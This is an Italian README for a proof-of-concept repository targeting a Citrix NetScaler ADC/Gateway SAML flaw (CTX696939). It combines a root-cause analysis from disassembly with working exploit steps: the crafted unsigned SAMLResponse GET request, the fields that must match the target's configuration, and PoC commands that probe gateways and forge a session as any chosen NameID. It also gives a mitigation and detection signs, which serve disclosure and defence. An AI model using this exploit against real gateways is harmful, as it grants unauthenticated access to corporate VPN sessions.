
NetScaler ADC/Gateway bypass dell'asserzione SAML non firmata tramite binding HTTP-Redirect (CTX696939) - analisi della causa principale + PoC
Falsificazione di sessione non autenticata su Citrix NetScaler ADC / NetScaler Gateway tramite
il gestore del binding HTTP-Redirect SAML su GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Bollettino CTX696939 (2026-08-19), nessuna soluzione alternativa. Il merito del report originale
va a Samarth Vashisht (team di pen-test di JPMorgan Chase); l'analisi della causa principale e il
codice in questo repository sono opera mia.
Versioni interessate: 14.1 precedenti alla 14.1-73.32, 13.1 precedenti alla 13.1-63.21. Corrette in queste due build.
Due cose vanno male insieme in nsppe, il motore dei pacchetti.
1. il binding di redirect analizza le assertion con il flag strict disattivato.
Tutti i punti di chiamata del parser delle risposte SAML (sub_b40a50) impostano un argomento
"strict" prima della chiamata. Il percorso del binding POST (quello che i browser usano realmente per le risposte SAML)
lo passa impostato. Il percorso del binding HTTP-Redirect non lo fa:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- il parser
Questo è il percorso alternativo nel senso della CWE-288. Stessa superficie di richiesta, invocazione del parser
più debole, raggiungibile da chiunque possa inviare una GET con un parametro di query SAMLResponse.
2. il gate per le assertion non firmate tratta la configurazione predefinita come ALLOW.
All'interno del gestore di redirect, quando la richiesta non trasporta SigAlg/Signature, la
parola di configurazione per rejectUnsignedAssertion viene confrontata e diramata così:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- salta al percorso ACCEPT
I valori della parola sono: 2 = rejectUnsignedAssertion ON (il predefinito), 3 = STRICT.
Il je invia 2 ad accept. Solo STRICT raggiunge la riga di log di deny:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
Quindi su un sistema con configurazione predefinita, un'assertion non firmata consegnata al binding di redirect viene analizzata (strict off), accettata oltre il gate per le non firmate (ON interpretato erroneamente come allow), e poi esegue i normali passaggi post-analisi: controlli di issuer/audience/subject rispetto alla configurazione dell'azione SAML, quindi costruzione della sessione da campi forniti dall'attaccante. Nessun digest, nessuna verifica RSA, in nessun punto di quella rotta. Il binding POST non è influenzato allo stesso modo — passa strict al parser e rifiuta correttamente l'input non firmato.
Prerequisiti secondo il bollettino, confermati contro il binario: le build dalla 14.1-43.56 / 13.1-61.28 in poi richiedono un'azione SAML associata a un vserver Gateway o AAA (la normale configurazione SAML SSO, quindi la maggior parte delle implementazioni SAML è idonea). Le build precedenti registrano la rotta con il solo vserver.
Una GET. Costruisci una risposta SAML senza alcun <ds:Signature>, applica DEFLATE + base64
e invia:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
I valori che devono corrispondere alla configurazione dell'azione SAML del target: Issuer dell'assertion = l'ID
entità IdP, Audience = l'ID entità SP, Recipient/Destination = l'URL ACS, e
su configurazioni transazionali un InResponseTo da una AuthnRequest attiva. --mint esamina il
redirect di login pre-autenticazione del gateway stesso per catturarli (la SAMLRequest nell'header
Location li trasporta tutti). Un 302 verso /vpn/ più un cookie NSC_AAAC /
NSC_TASS reale (non i marcatori di eliminazione xyz) è una sessione falsificata come qualsiasi
NameID tu inserisca.
pip install requests
# l'endpoint è presente e il binding GET elabora SAMLResponse?
python3 poc.py https://vpn.target.com --check-only
# sonda di configurazione non intrusiva: assertion non firmata con un issuer volutamente SBAGLIATO.
# 'Malformed Assertion' (0xe0005) -> STRICT, non vulnerabile a questo vettore
# errore issuer/policy (0xe0012) -> configurazione predefinita, vulnerabile; nessuna sessione creata
python3 poc.py https://vpn.target.com --safe-oracle
# catena completa (solo target autorizzati): crea la catena SP, falsifica, verifica una volta
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle esiste perché le due configurazioni restituiscono pagine di errore diverse prima
che accada qualsiasi cosa simile a una sessione, il che è anche il modo in cui i difensori possono auto-verificarsi senza
toccare un IdP reale. Eseguilo contro la tua attrezzatura.
demo/demo.gif (anche demo.mp4, e demo/demo.cast se vuoi riprodurlo con
asciinema play): build interessata dall'immagine docker, la configurazione predefinita word-2,
i due rami binari disassemblati dal nsppe fornito, e il controllo dell'endpoint del PoC.
L'ultimo miglio, l'emissione della sessione, richiede un VPX con licenza — CPX Express rifiuta
le sessioni AAA a livello di licenza — che è ciò che lab/record-demo.sh cattura quando
ne hai uno.
lab/setup-cpx.sh avvia l'esatta build interessata in docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
e configura un'azione SAML con rejectUnsignedAssertion ON, una policy e un
vserver Gateway. Due avvertenze imparate a proprie spese:
/cgi/samlauth
ma ogni richiesta finisce su 480 Login exceeds maximum allowed users. Abbastanza buono
per riprodurre configurazione + endpoint + stato binario, non il cookie di sessione finale.lab/record-demo.sh registra l'intera
sequenza asciinema: versione, configurazione, safe-oracle, sessione falsificata, controllo negativo STRICT.Gli offset del binario fornito sopra provengono direttamente da quell'immagine:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT blocca il vettore
di redirect sul percorso vulnerabile (fa diventare word==3). Tieni presente che STRICT cambia anche
ciò che il sistema si aspetta dal tuo IdP (requisiti di firma di Response + Assertion),
che è presumibilmente il motivo per cui Citrix fornisce ON come predefinito e perché "basta impostare STRICT"
non è una soluzione alternativa pulita per tutti./cgi/samlauth che trasportano SAMLResponse su GET (le risposte
del binding di redirect sono rare in natura — i browser fanno POST), payload non firmati e
il differenziale delle pagine di errore sopra descritto.Solo per test di sicurezza autorizzati: il tuo laboratorio, o target esplicitamente in scope per un programma su cui sei autorizzato. L'autore non è affiliato a Citrix né al team di segnalazione originale.
Licenza MIT, vedi LICENSE.